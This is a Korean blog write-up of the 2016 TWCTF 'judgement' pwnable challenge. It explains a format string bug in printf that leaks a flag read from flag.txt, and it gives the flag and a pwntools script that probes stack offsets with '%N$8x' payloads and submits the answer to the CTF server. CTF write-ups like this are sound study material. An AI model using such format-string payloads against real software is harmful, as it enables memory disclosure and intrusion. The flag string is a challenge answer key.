티스토리 뷰

Wargame & CTF/CTF

2016 TWCTF Pwnable 50pt

Tribal 2016. 9. 9. 16:30

CTF를 참여하진 않았지만, 우연하게 들어와서 풀어보았다.


바이너리 : 

judgement



풀이 : 


main 함수가 실행되기 전에 init라는 함수가 먼저 실행되어 flag.txt라는 파일을 읽어온다. 이 파일의 내용을 알아내는게 목적이다.


main의 printf 함수에서 FSB 취약점을 발견할 수 있고, flag.txt에서 읽어들인 내용을 사용자의 입력과 비교한다. 이 때, 사용자의 입력은 오로지 출력가능한 문자만 입력 가능하다.


요약하면 FSB를 통해 flag.txt의 내용을 읽어들이면 된다.


메모리의 32번째에서 flag.txt의 내용이 저장된 버퍼의 주소가 들어가 있다. 이 부분을 %s를 통해 읽어 들이면 되겠다.


Flag : TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}


사용된 스크립트 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
 
switch=0
 
if switch == 1:
    flag = "TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}"
    s = remote("pwn1.chal.ctf.westerns.tokyo"31729)
    print s.recvuntil("Input flag >> ")
    s.sendline(flag)
    s.close()
else:
   for i in range(1635):
       payload="AAAA"
       for j in range(i, i+51):
           payload+=" %" + str(j) + "$8x"
       s = process("./judgement")
       print s.recvuntil("Input flag >> ")
       print payload
       s.sendline(payload)
       print s.recvline()
       print s.recvline()
       s.close()
cs



댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31